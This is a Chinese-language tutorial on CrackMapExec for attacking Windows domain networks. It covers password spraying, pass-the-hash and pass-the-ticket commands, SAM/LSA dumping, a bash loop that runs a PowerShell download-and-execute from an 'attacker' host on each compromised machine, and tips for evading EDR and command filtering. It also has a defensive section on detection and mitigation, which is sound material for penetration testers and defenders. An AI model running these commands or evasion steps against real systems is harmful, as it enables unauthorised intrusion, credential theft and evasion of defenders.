CrackMapExec:自动化内网渗透与横向移动的瑞士军刀
1. 项目概述:为什么我们需要CrackMapExec?
如果你在负责企业内网安全评估或者红队渗透测试,尤其是面对Windows域环境时,一定会对“横向移动”和“凭证窃取”这两个词深有感触。传统的工具链,比如Impacket套件,功能强大但往往需要你手动组合多个脚本,针对不同的协议(SMB、WinRM、WMI等)和不同的目标,你得写一堆命令,管理一堆输出,效率上总感觉差那么一口气。这时候,CrackMapExec(简称CME)就登场了。它不是什么全新的攻击技术,而是一个强大的“自动化攻击框架”和“瑞士军刀”,专门为渗透测试人员在活动目录(Active Directory)环境中的后期横向移动和权限提升而设计。
简单来说,CME的核心价值在于整合与自动化。它把针对SMB、MSSQL、WinRM、SSH、LDAP等协议的常见攻击手法(如密码喷射、哈希传递、票据传递)封装成了统一的命令接口。你只需要一条命令,就能对单个目标或整个网段进行高效的凭证验证、命令执行、会话窃取和情报收集。它的输出清晰、结构化,并且支持将结果导出到数据库(如SQLite),方便你追踪攻击路径和已控主机。对于防守方(蓝队)而言,深入理解CME的攻击模式,也是构建有效检测规则的关键。所以,无论你是想提升渗透效率的红队成员,还是想知己知彼的蓝队工程师,掌握CME都至关重要。
2. CME核心设计与攻击哲学解析
2.1 模块化架构:一把钥匙开多把锁
CME的设计哲学非常清晰:协议即模块,攻击即功能。它不是一个大而全的单一脚本,而是由一个核心引擎和多个协议模块组成。当你运行crackmapexec命令时,你首先指定的是协议(如smb,winrm,mssql,ssh,ldap),这决定了CME使用哪种“语言”与目标通信。
每个协议模块下,又集成了针对该协议的各种攻击和枚举功能,我们称之为“模块”(Modules)。例如,在SMB模块中,你可以使用--shares枚举共享,使用--sessions枚举会话,使用--loggedon-users枚举登录用户,更可以使用-x或-X参数执行命令。这种设计让攻击逻辑变得极其清晰和可扩展。开发者可以很容易地为新协议编写模块,或者为现有协议添加新的攻击功能。
2.2 凭证处理的灵活性:从密码到哈希再到票据
在域渗透中,获取的凭证形式多种多样:可能是明文的用户名和密码,可能是NTLM哈希(LMHash:NTHash),也可能是Kerberos票据(.kirbi文件)。CME对这三种形式都提供了原生支持。
- 密码认证:最直接的方式,使用
-u指定用户名(或用户列表文件),-p指定密码(或密码列表文件)。 - 哈希传递:这是域内横向移动的“王牌”技术之一。当你获取了某个用户的NTLM哈希(通常来自
sekurlsa::logonpasswords或lsadump::sam),而该用户又在其他机器上有登录权限时,你可以直接使用哈希进行认证,无需破解密码。CME通过-H参数接受NTLM哈希。 - 票据传递:在Kerberos认证环境中,如果你拿到了其他用户的TGT(票据授予票据)或服务票据,你可以直接使用这些票据向目标服务证明身份。CME通过
-k参数支持从CCACHE文件或Kirbi文件中加载Kerberos票据。
这种灵活性意味着,一旦你在域内获得一个初始立足点,通过凭证转储获取了哈希或票据,CME就能帮助你以极高的效率在网段内“复制”你的权限。
2.3 输出与数据管理:让攻击过程可追溯
一次内网渗透可能涉及成百上千台主机,手动记录哪台机器有什么权限、存了什么凭证是不现实的。CME内置了数据库支持(默认使用SQLite),通过--log参数可以指定一个数据库文件。所有扫描结果,包括成功认证的主机、枚举的共享、发现的用户等信息,都会自动存入数据库。
更强大的是,你可以使用--disks参数将枚举到的磁盘信息也记录下来,或者使用--loot功能自动抓取你感兴趣的敏感文件(如配置文件、密码本)。所有抓取的“战利品”都会以结构化的方式存储在本地,并与数据库中的主机条目关联。这相当于为你自动生成了一份详细的“内网资产与权限地图”,对于后续的渗透路径规划和报告编写至关重要。
3. 从零开始:CME环境搭建与基础使用
3.1 安装指南:推荐Kali Linux与Docker
最省心的方式是在Kali Linux上使用APT安装:sudo apt install crackmapexec。Kali的仓库通常维护着较新的稳定版本,并且能自动解决依赖问题(主要是Python3和相关的协议库,如impacket,ldap3等)。
如果你需要在其他Linux发行版或macOS上使用,或者想尝试最新的开发版,推荐使用Docker。官方提供了镜像,一条命令即可运行:
docker run --rm -it byt3bl33d3r/crackmapexec将你的目标IP列表、凭证文件等通过-v参数挂载到容器内即可。Docker方式能完美解决环境依赖问题,真正做到开箱即用。
注意:在非Kali系统上从源码安装可能会遇到Python库版本冲突问题,特别是
impacket。如果遇到AttributeError或ImportError,请确保你安装的是CME官方要求的特定版本依赖(查看项目requirements.txt),使用Python虚拟环境(venv)是一个好习惯。
3.2 第一个命令:理解基础语法
让我们从一个最简单的例子开始,扫描一个C段(192.168.1.0/24)的SMB服务,尝试用一组常用密码进行爆破:
crackmapexec smb 192.168.1.0/24 -u user.txt -p pass.txt --continue-on-successsmb: 指定协议模块。192.168.1.0/24: 目标,可以是单个IP、IP列表文件或CIDR格式网段。-u user.txt: 指定用户名列表文件。-p pass.txt: 指定密码列表文件。--continue-on-success: 即使对某个用户认证成功,也继续尝试该用户的其他密码。默认行为是成功即停止。
执行后,你会看到彩色编码的输出:
- 绿色:认证成功!后面会跟随着该用户的权限级别(如
Pwn3d!、Administrator)。 - 蓝色:认证成功,但权限有限。
- 红色:认证失败。
- 黄色:其他状态,如连接超时、协议不支持等。
其中,Pwn3d!是一个关键标志,它意味着CME不仅认证成功,而且检测到该用户在该主机上拥有管理员权限(通常是本地Administrators组成员或域管理员),这意味着你可以直接执行命令。
3.3 核心参数详解:武装你的攻击
目标指定:
192.168.1.100: 单IP。-t 50: 设置并发线程数,默认为100,在内网扫描时适当降低(如50)可以减少网络波动影响。--targets targets.txt: 从文件读取目标列表,每行一个IP或主机名。
凭证指定:
-u 'Administrator' -p 'P@ssw0rd!': 单用户单密码。-u users.txt -p 'Spring2024!': 用户列表,固定密码(常用于密码喷射攻击)。-u 'svc_sql' -H aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4: 使用NTLM哈希进行认证(哈希传递)。-k -n: 使用Kerberos票据认证(-k),并指定无PAC(-n,在某些场景下需要)。
枚举与信息收集:
--shares: 枚举所有可访问的共享。--sessions: 枚举当前活跃的SMB会话。--loggedon-users: 枚举当前登录的用户。--disks: 枚举磁盘信息。--sam: 尝试从远程主机转储SAM数据库(需要管理员权限且SMB签名未强制)。--lsa: 尝试转储LSA Secrets(需要管理员权限)。
命令执行与交互:
-x 'whoami': 执行单条命令并返回结果。-X 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc ': 常用于执行经过Base64编码的PowerShell命令,可以绕过一些简单的命令过滤。- 获得
Pwn3d!权限后,你可以结合-x参数轻松地在多台机器上部署后门、抓取密码哈希或进行其他操作。
4. 实战进阶:域渗透中的高阶技巧与组合拳
4.1 哈希传递:突破边界的关键一跃
假设我们通过某种方式(例如,利用一个Web漏洞在WEB服务器上执行了sekurlsa::logonpasswords)获取了域内一个服务账户svc_backup的NTLM哈希。我们怀疑这个账户在域内其他服务器上有管理权限。
传统方法可能需要你手动使用psexec.py或wmiexec.py。而CME可以一键完成网段内的哈希传递测试和命令执行:
crackmapexec smb 10.10.10.0/24 -u svc_backup -H <NTLM_Hash> --local-auth -x 'hostname'这里--local-auth参数告诉CME,使用提供的凭证进行本地认证(而非域认证)。如果svc_backup在目标机器的本地管理员组中,这条命令就会成功返回主机名。通过扫描,你可能瞬间就获得了多台服务器的控制权。
实操心得:哈希传递的成功率远高于密码爆破。因此,在内网渗透中,优先目标是获取内存中的哈希(LSASS进程)或域控上的哈希(NTDS.dit),而不是盲目爆破。一旦获取到一个高权限的哈希,整个内网可能门户洞开。
4.2 票据传递与Kerberos攻击集成
在纯Kerberos环境中,票据比哈希更有用。假设我们使用Rubeus工具窃取了一个域管理员的TGT票据,并保存为admin.kirbi。我们可以这样利用CME:
export KRB5CCNAME=/path/to/admin.ccache # 如果票据是ccache格式 crackmapexec smb dc01.corp.local -k -n -x 'net group "Domain Admins" /domain'-k使用票据,-n指定不使用PAC(在某些配置下需要)。这条命令会以票据代表的域管理员身份,在域控dc01上执行命令,列出所有域管理员成员。这可以用来验证票据的有效性和权限。
CME还可以与Kerberos攻击工具(如impacket的getTGT.py)无缝衔接。例如,你先用getTGT.py为某个用户申请一个TGT(利用密码或哈希),然后将生成的ccache文件设置给CME使用。
4.3 利用CME进行自动化横向移动与后渗透
CME的真正威力在于其脚本化和自动化能力。你可以编写一个简单的Bash或Python脚本,将CME作为核心引擎。
场景:你已经控下一台跳板机,并抓取了本地所有用户的哈希。你想自动尝试用这些哈希去攻击同一网段的其他主机,并在成功的机器上自动执行命令(如下载并执行一个Payload)。
# 假设hashes.txt里每行是"用户名:LM哈希:NTLM哈希" for hash_line in $(cat hashes.txt); do username=$(echo $hash_line | cut -d: -f1) nthash=$(echo $hash_line | cut -d: -f3) echo "[*] 尝试用用户 $username 的哈希进行横向移动..." crackmapexec smb 192.168.2.0/24 -u $username -H $nthash --local-auth | grep Pwn3d > /tmp/pwned.txt # 解析结果,对Pwn3d的主机执行命令 for target in $(cat /tmp/pwned.txt | awk '{print $4}'); do echo "[+] 在 $target 上执行命令..." crackmapexec smb $target -u $username -H $nthash --local-auth -x 'powershell -c "iex (New-Object Net.WebClient).DownloadString(\"http://attacker/payload.ps1\")"' done done这个简单的循环实现了自动化的哈希传递攻击链。在实际中,你需要处理更多边界情况,但思路是相通的。
4.4 与BloodHound等工具联动
CME是信息收集的利器,而BloodHound是分析和可视化攻击路径的神器。两者可以完美结合。
- 使用CME收集数据:你可以用CME枚举域内用户、组、计算机、会话等信息。虽然CME没有直接的BloodHound数据收集器,但它的输出(特别是通过LDAP模块)可以为你提供丰富的基础数据。
- 使用SharpHound收集数据:更标准的做法是,在通过CME获得一台主机的命令执行权限后,上传或让目标机从内网下载SharpHound收集器(BloodHound的官方数据收集工具),然后执行它。CME可以帮你快速在多台机器上部署和执行这个收集动作。
- 分析路径:将SharpHound生成的zip文件导入BloodHound,你就能清晰地看到从你当前控制的机器到域管理员、到关键服务器、到域控的所有可能路径。然后,你可以再回过头来,使用CME去验证和利用这些路径上的关键节点(比如,某台机器上某个有特殊权限的服务账户)。
5. 防御视角:如何检测和缓解CME攻击
了解攻击是为了更好的防御。从蓝队角度看,CME的活动会留下哪些痕迹?
5.1 网络与日志检测特征
- 大量SMB/WinRM认证失败:CME在进行密码喷射或爆破时,会产生大量来自单一源IP的、针对不同用户名或主机的失败登录事件(Windows安全日志事件ID 4625)。如果短时间内出现同一源IP对大量主机进行SMB认证,这是非常强烈的扫描/爆破告警信号。
- 成功登录后的异常命令执行:成功认证(事件ID 4624)后,如果紧随其后的是非常规的命令执行(如
whoami,net group,powershell -enc等),尤其是在非管理员的日常登录源(如普通用户工作站)发起到服务器的这类连接时。 - 哈希传递的特征:哈希传递不会产生明文密码的日志。但是,如果出现一个用户账户从多个非常规的源IP地址(尤其是已知已被入侵的IP)成功登录多台主机,且登录类型为“网络登录”(Logon Type 3),这很可能就是哈希传递或票据传递在横向移动。
- Kerberos票据异常:票据传递攻击可能会产生异常的Kerberos请求日志(事件ID 4768, 4769),例如,票据的加密类型与账户设置不符,或者请求来自非域成员主机等。
5.2 主动防御与缓解措施
- 实施网络分段:严格限制不同安全区域之间的SMB、WinRM、RDP等管理协议通信。例如,开发服务器区不能直接访问财务数据库服务器区。这能有效限制攻击者的横向移动范围。
- 启用SMB签名:强制要求所有SMB通信进行签名。虽然CME的某些功能(如
--sam)在签名启用时可能失效,但更重要的是,这能有效防御SMB中继攻击。不过,请注意,启用签名可能会对性能有轻微影响,并且需要所有客户端支持。 - 限制本地管理员权限:遵循最小权限原则。不要将域用户轻易添加到各服务器的本地管理员组。使用“受保护用户”组、本地管理员密码解决方案(LAPS)等来管理本地管理员账户。这样即使攻击者获取了一个本地管理员哈希,其影响范围也仅限于单台机器。
- 监控和管理Kerberos:启用Kerberos审计日志,监控黄金票据、白银票据攻击的特征(如票据生命周期异常长、票据未包含PAC等)。考虑部署微软的“受保护用户”安全组或启用“始终提供声明”功能以增强Kerberos安全性。
- 部署终端检测与响应:成熟的EDR产品能够检测基于LSASS的内存凭证窃取行为(Mimikatz、Procdump等工具的使用),也能识别异常的远程命令执行模式,从而在CME发挥作用之前就阻断攻击链。
6. 常见问题与故障排查实录
在实际使用CME的过程中,你肯定会遇到各种问题。下面是一些典型场景和解决思路。
6.1 连接与认证问题排查表
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
[-] Connection refused | 目标端口未开放,或防火墙阻断。 | 1. 使用nc -zv确认端口(SMB:445, WinRM:5985/5986)可达性。2. 检查本地防火墙规则(尤其是Docker或VPN环境)。 3. 确认目标主机服务是否运行。 |
[!] Protocol negotiation failed | 目标主机不支持该协议版本或加密套件。 | 1. 对于SMB,尝试添加--smb2support参数强制使用SMB2。2. 对于WinRM,尝试使用 --no-bruteforce或指定--port为5985(HTTP)或5986(HTTPS)。3. 可能是网络中间设备(如WAF、IPS)干扰了协议握手。 |
[-] Login failed(但密码正确) | 账户被锁定、禁用、过期,或登录时间限制。 | 1. 在域环境中,使用--kdcHost参数指定正确的域控IP。2. 检查账户状态(是否锁定、禁用)。 3. 尝试使用哈希传递( -H)替代密码,可能绕过某些策略。4. 注意用户名格式:域用户通常用 DOMAIN\User或user@domain.com。 |
[+] Pwn3d!但-x执行命令失败 | 权限问题或命令执行被拦截。 | 1.Pwn3d!只代表管理员组权限,但可能受UAC、受限管理模式或Powershell执行策略影响。2. 尝试使用 -X执行Base64编码的Powershell命令绕过简单过滤。3. 尝试使用不同的命令执行方式,如 sc创建服务,或schtasks创建计划任务。 |
使用-k参数认证失败 | Kerberos票据问题或环境配置错误。 | 1. 确保已正确设置KRB5CCNAME环境变量指向有效的ccache文件。2. 检查票据是否过期( klist命令)。3. 尝试添加 -n参数(不验证PAC)。4. 确保DNS能正确解析域控和主机名。 |
6.2 性能与稳定性优化
- 线程数调整:默认的100线程在高速内网中可能很高效,但在网络延迟高或不稳定的环境中,会导致大量超时和误报。使用
-t参数降低线程数(如-t 20),能显著提高结果的准确性。 - 超时设置:使用
--timeout参数增加连接和响应的超时时间(默认5秒,可设为10或15),给慢速主机更多响应时间。 - 使用数据库:对于大型内网渗透,务必使用
--log参数将结果输出到SQLite数据库。这样即使扫描中断,也能从数据库中恢复进度,并且便于后续查询和分析。你可以使用sqlitebrowser这样的图形化工具来浏览数据库。 - 结果过滤:CME的输出可能很冗长。善用Linux的管道和
grep进行过滤。例如,crackmapexec ... | grep -E \"(\\+|Pwn3d)\"可以只显示成功和已控的主机。
6.3 绕过特定防御的实战技巧
- 绕过杀软对CME的父进程检测:一些EDR会检测
crackmapexec这个进程名。你可以直接复制或重命名CME的可执行文件,或者通过Python直接调用其模块:python3 -m crackmapexec smb ...,这样进程名显示为python。 - 处理网络流量检测:CME的SMB流量特征相对明显。在高度敏感的环境中,可以考虑:
- 使用WinRM(5985/5986)或MSSQL协议作为横向移动的替代通道,这些协议在管理网络中更常见,可能被监控得稍松一些。
- 使用
--gen-relay-list功能生成中继目标列表,结合Responder或Impacket的ntlmrelayx进行SMB中继攻击,这完全利用了正常的认证流程,几乎没有“攻击流量”。
- 命令执行被拦截:如果简单的
cmd.exe /c被拦截,可以尝试:- 使用Powershell的编码命令(
-X参数)。 - 使用
sc创建服务来执行二进制文件:-x 'sc create test binpath= \"C:\Windows\System32\calc.exe\"'然后-x 'sc start test'。 - 使用
schtasks创建计划任务。
- 使用Powershell的编码命令(
我个人在多次内网渗透项目中体会到,CME更像是一个“力量倍增器”,它不能替代你对AD架构、Windows认证协议和基础渗透技巧的理解。它的价值在于,当你明确了攻击路径和技术原理后,它能帮你把想法以极快的速度、极大的规模付诸实践。同时,它的每一次成功或失败,输出的每一条信息,都是你理解目标网络防御态势的宝贵线索。永远不要把它当成一个“一键黑掉内网”的魔法棒,而应该视为一个需要你精心指挥的自动化侦察与攻击平台。最后一个小建议,在实战中使用CME时,结合tmux或screen会话,并将所有输出重定向到日志文件,这样即使你的SSH连接中断,所有珍贵的扫描结果也不会丢失。
